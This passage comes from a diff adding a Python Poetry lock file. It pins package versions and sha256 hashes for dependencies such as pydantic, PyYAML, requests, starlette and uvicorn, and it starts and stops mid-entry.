"sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"}, + {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"}, +] + +[[package]] +name = "pydantic" +version = "1.10.11" +description = "Data validation and settings management using python type hints" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"}, + {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"}, + {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"}, + {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"}, + {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"}, + {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"}, + {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"}, + {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"}, + {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"}, + {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"}, +] + +[package.dependencies] +typing-extensions = ">=4.2.0" + +[package.extras] +dotenv = ["python-dotenv (>=0.10.4)"] +email = ["email-validator (>=1.0.3)"] + +[[package]] +name = "pygments" +version = "2.15.1" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pytest" +version = "5.4.3" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.5" +files = [ + {file = "pytest-5.4.3-py3-none-any.whl", hash = "sha256:5c0db86b698e8f170ba4582a492248919255fcd4c79b1ee64ace34301fb589a1"}, + {file = "pytest-5.4.3.tar.gz", hash = "sha256:7979331bfcba207414f5e1263b5a0f8f521d0f457318836a7355531ed1a4c7d8"}, +] + +[package.dependencies] +atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} +attrs = ">=17.4.0" +colorama = {version = "*", markers = "sys_platform == \"win32\""} +more-itertools = ">=4.0.0" +packaging = "*" +pluggy = ">=0.12,<1.0" +py = ">=1.5.0" +wcwidth = "*" + +[package.extras] +checkqa-mypy = ["mypy (==v0.761)"] +testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.0.0" +description = "Read key-value pairs from a .env file and set them as environment variables" +optional = false +python-versions = ">=3.8" +files = [ + {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"}, + {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "python-multipart" +version = "0.0.5" +description = "A streaming multipart parser for Python" +optional = false +python-versions = "*" +files = [ + {file = "python-multipart-0.0.5.tar.gz", hash = "sha256:f7bb5f611fc600d15fa47b3974c8aa16e93724513b49b5f95c81e6624c83fa43"}, +] + +[package.dependencies] +six = ">=1.4.0" + +[[package]] +name = "pyyaml" +version = "6.0" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"}, + {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"}, + {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"}, + {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"}, + {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"}, + {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"}, + {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"}, + {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"}, + {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"}, + {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"}, + {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"}, + {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"}, + {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"}, + {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"}, + {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"}, + {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"}, + {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"}, + {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"}, +] + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rich" +version = "13.4.2" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"}, + {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "s3transfer" +version = "0.6.1" +description = "An Amazon S3 Transfer Manager" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"}, + {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"}, +] + +[package.dependencies] +botocore = ">=1.12.36,<2.0a.0" + +[package.extras] +crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "sniffio" +version = "1.3.0" +description = "Sniff out which async library your code is running under" +optional = false +python-versions = ">=3.7" +files = [ + {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, + {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, +] + +[[package]] +name = "starlette" +version = "0.19.1" +description = "The little ASGI library that shines." +optional = false +python-versions = ">=3.6" +files = [ + {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"}, + {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"}, +] + +[package.dependencies] +anyio = ">=3.4.0,<5" +typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""} + +[package.extras] +full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"] + +[[package]] +name = "structlog" +version = "23.1.0" +description = "Structured Logging for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"}, + {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"}, +] + +[package.extras] +dev = ["structlog[docs,tests,typing]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"] +tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"] +typing = ["mypy", "rich", "twisted"] + +[[package]] +name = "tenacity" +version = "8.2.2" +description = "Retry code until it succeeds" +optional = false +python-versions = ">=3.6" +files = [ + {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"}, + {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"}, +] + +[package.extras] +doc = ["reno", "sphinx", "tornado (>=4.5)"] + +[[package]] +name = "types-protobuf" +version = "4.23.0.1" +description = "Typing stubs for protobuf" +optional = false +python-versions = "*" +files = [ + {file = "types-protobuf-4.23.0.1.tar.gz", hash = "sha256:7bd5ea122a057b11a82b785d9de464932a1e9175fe977a4128adef11d7f35547"}, + {file = "types_protobuf-4.23.0.1-py3-none-any.whl", hash = "sha256:c926104f69ea62103846681b35b690d8d100ecf86c6cdda16c850a1313a272e4"}, +] + +[[package]] +name = "typing" +version = "3.7.4.3" +description = "Type Hints for Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "typing-3.7.4.3-py2-none-any.whl", hash = "sha256:283d868f5071ab9ad873e5e52268d611e851c870a2ba354193026f2dfb29d8b5"}, + {file = "typing-3.7.4.3.tar.gz", hash = "sha256:1187fb9c82fd670d10aa07bbb6cfcfe4bdda42d6fab8d5134f04e8c4d0b71cc9"}, +] + +[[package]] +name = "typing-extensions" +version = "4.7.1" +description = "Backported and Experimental Type Hints for Python 3.7+" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, + {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, +] + +[[package]] +name = "urllib3" +version = "1.26.16" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"}, + {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[[package]] +name = "uvicorn" +version = "0.18.3" +description = "The lightning-fast ASGI server." +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"}, + {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"}, +] + +[package.dependencies] +click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} +h11 = ">=0.8" +httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} +uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.0", optional = 